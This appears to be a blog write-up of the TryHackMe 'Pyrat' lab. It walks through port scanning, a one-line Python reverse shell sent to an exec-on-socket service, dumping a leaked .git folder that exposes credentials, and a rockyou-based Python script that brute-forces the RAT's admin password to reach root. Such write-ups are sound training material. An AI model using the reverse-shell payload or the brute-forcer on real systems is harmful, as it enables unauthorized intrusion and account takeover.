Post

TryHackMe: Pyrat

Pyrat is an easy-rated TryHackMe machine that simulates a running Python RAT on an open socket. The challenge involves leaking a GitHub account to gain access to the PyRat source code, which helps in understanding how the RAT operates and gain root access.


Enumeration

Nmap Scan

Starting with an nmap on 10.10.234.19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ cat nmap.out      
# Nmap 7.94SVN scan initiated Wed Oct  2 19:16:42 2024 as: nmap -sC -sV -T4 -oN nmap.out -vv 10.10.234.19
Nmap scan report for 10.10.234.19
Host is up, received conn-refused (0.077s latency).
Scanned at 2024-10-02 19:16:48 CET for 177s
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
8000/tcp open  http-alt syn-ack SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct  2 19:19:45 2024 -- 1 IP address (1 host up) scanned in 182.77 seconds

Looking at the results we got 2 ports open.

  • 22/SSH OpenSSH - open
  • 8000/HTTP SimpleHTTP/0.6 - open

Socket - 8000

Looking at http://10.10.234.19:8000/ we get a Try a more basic connection! which must refers to sockets, using nc to connect to it.

1
2
3
4
5
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ nc 10.10.234.19 8000            
ls
name 'ls' is not defined

Exploitation

Initial Foothold

First thing we did is typing ls to see what we get and we have a name 'ls' is not defined so we know we are in a python environement with the port banner and the error we got.

So we did try to get a reverse shell using the following payload and it worked, we got our shell.

1
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.44.134",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.8.44.134] from (UNKNOWN) [10.10.234.19] 60124
$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ export TERM=xterm
export TERM=xterm
www-data@Pyrat:~$ ^Z
zsh: suspended  nc -lnvp 9001
                                                                                                               
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ stty raw -echo; fg
[1]  + continued  nc -lnvp 9001

www-data@Pyrat:~$ ls
ls: cannot open directory '.': Permission denied
www-data@Pyrat:~$ pwd
/root
www-data@Pyrat:~$ 

Lateral Movement

Doing some basic enumeration we found an interesting folder under /opt which is /opt/dev/.git hosting a python web server on the machine and using git-dumper we were able to retrieve the folder and an old version of the source code.

1
2
3
www-data@Pyrat:/opt/dev$ python3 -m http.server 2222
Serving HTTP on 0.0.0.0 port 2222 (http://0.0.0.0:2222/) ...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ mkdir pysrc/                                         
                                                                                                               
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ git-dumper http://10.10.234.19:2222/.git pysrc/ 
[-] Testing http://10.10.234.19:2222/.git/HEAD [200]
[-] Testing http://10.10.234.19:2222/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://10.10.234.19:2222/.git/ [200]
[...]
[-] Fetching http://10.10.234.19:2222/.git/logs/refs/heads/master [200]
[-] Running git checkout .
Updated 1 path from the index
                                                                                                               
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ cd pysrc    
                                                                                                               
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ ls -la    
total 16
drwxrwxr-x 3 str4ngerx str4ngerx 4096 Oct  4 17:52 .
drwxrwxr-x 4 str4ngerx str4ngerx 4096 Oct  4 17:52 ..
drwxrwxr-x 7 str4ngerx str4ngerx 4096 Oct  4 17:52 .git
-rw-rw-r-- 1 str4ngerx str4ngerx  753 Oct  4 17:52 pyrat.py.old
                                                                                                               
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ cat pyrat.py.old 
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................
                                                                                                               
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ 

Looking through that .git folder we found a config file leaking the user think credentials and the person behind the git account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ cat .git/config  
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
    	name = Jose Mario
    	email = josemlwdf@github.com

[credential]
    	helper = cache --timeout=3600

[credential "https://github.com"]
    	username = think
    	password = [REDACTED]

Using the credentials we got we were able to connect to think’s user account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ ssh think@10.10.234.19            
The authenticity of host '10.10.234.19 (10.10.234.19)' can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.234.19' (ED25519) to the list of known hosts.
think@10.10.234.19's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 04 Oct 2024 04:59:20 PM UTC

  System load:  0.0               Processes:             114
  Usage of /:   46.8% of 9.75GB   Users logged in:       0
  Memory usage: 42%               IPv4 address for eth0: 10.10.234.19
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Thu Jun 15 12:09:31 2023 from 192.168.204.1
think@Pyrat:~$ ls
snap  user.txt

⚠️ Note: Getting into think’s account is not mendatory for the privilege escalation as I didn’t need to do so and I was able to escelate to root directly.

Privilege Escalation

Looking for the git user over Github we were able to find him and find the Pyrat repository where we can find the source code of it.

What is mostly interesting within the source code are these lines.

1
2
3
4
5
6
7
8
9
10
11
12
13
def switch_case(client_socket, data):
    if data == 'admin':
        get_admin(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0) and (str(client_socket) not in admins):
            change_uid()
        if data == 'shell':
            shell(client_socket)
            remove_socket(client_socket)
        else:
            exec_python(client_socket, data)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def get_admin(client_socket):
    global admins

    uid = os.getuid()
    if (uid != 0):
        send_data(client_socket, "Start a fresh client to begin.")
        return

    password = 'testpass'

    for i in range(0, 3):
        # Ask for Password
        send_data(client_socket, "Password:")

        # Receive data from the client
        try:
            data = client_socket.recv(1024).decode("utf-8")
        except Exception as e:
            # Send the exception message back to the client
            send_data(client_socket, e)
            pass
        finally:
            # Reset stdout to the default
            sys.stdout = sys.__stdout__

        if data.strip() == password:
            admins.append(str(client_socket))
            send_data(client_socket, 'Welcome Admin!!! Type "shell" to begin')
            break

The first thing we notice is that we could’ve got a shell without the need of a reverse shell by just typing shell and basically here, in order to get a shell as root, we have to type admin following that we’ll be asked to enter a password, which from what we see is testpass, but that doesn’t work since the password has been changed and upon 3 failure password entries we’ll have to enter admin again.

Having that in mind we knew bruteforce was the way to root. Making a python script to bruteforce the password we succeded finding the good one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket

# Define the target IP and port
target_ip = '10.10.234.19'
target_port = 8000

# Load your wordlist of passwords
with open('/usr/share/wordlists/rockyou.txt', 'rb') as f:
    passwords = f.readlines()

for password in passwords:
    password = password.strip()  # Remove newline characters
    try:
        password = password.decode('utf-8', errors='ignore')
    except UnicodeDecodeError:
        continue  # Skip any problematic password that cannot be decoded

    # Create a socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))

    # Send the 'admin' username
    s.send(b"admin\n") # The \n represents the "enter" button.
    response = s.recv(1024).decode()

    if "password" in response.lower():
        print(f"Trying password: {password}")
        s.send(password.encode() + b"\n")
        
        # Read the response from the server after the password attempt
        response = s.recv(1024).decode()

        # Check if the password is correct
        if "welcome admin" in response.lower():
            print(f"Success! Password is: {password}")
            break
        else:
            print(f"Password {password} is incorrect.")
    else:
        print("No password prompt received.")
    
    s.close()

Running the python script we get our needed password.

1
2
3
4
5
6
7
8
9
10
11
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ python3 root.py             
Trying password: 123456
Password 123456 is incorrect.
Trying password: 12345
Password 12345 is incorrect.

[...]

Trying password: [REDACTED]
Success! Password is: [REDACTED]

Using nc again to connect to the open socket and submiting the password we found we got root!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ nc 10.10.234.19 8000
admin
Password:
[REDACTED]
Welcome Admin!!! Type "shell" to begin
shell
# whoami
whoami
root
# ls /root
ls /root
pyrat.py  root.txt  snap
# 

And there we go, we rooted the machine!

This post is licensed under CC BY 4.0 by the author.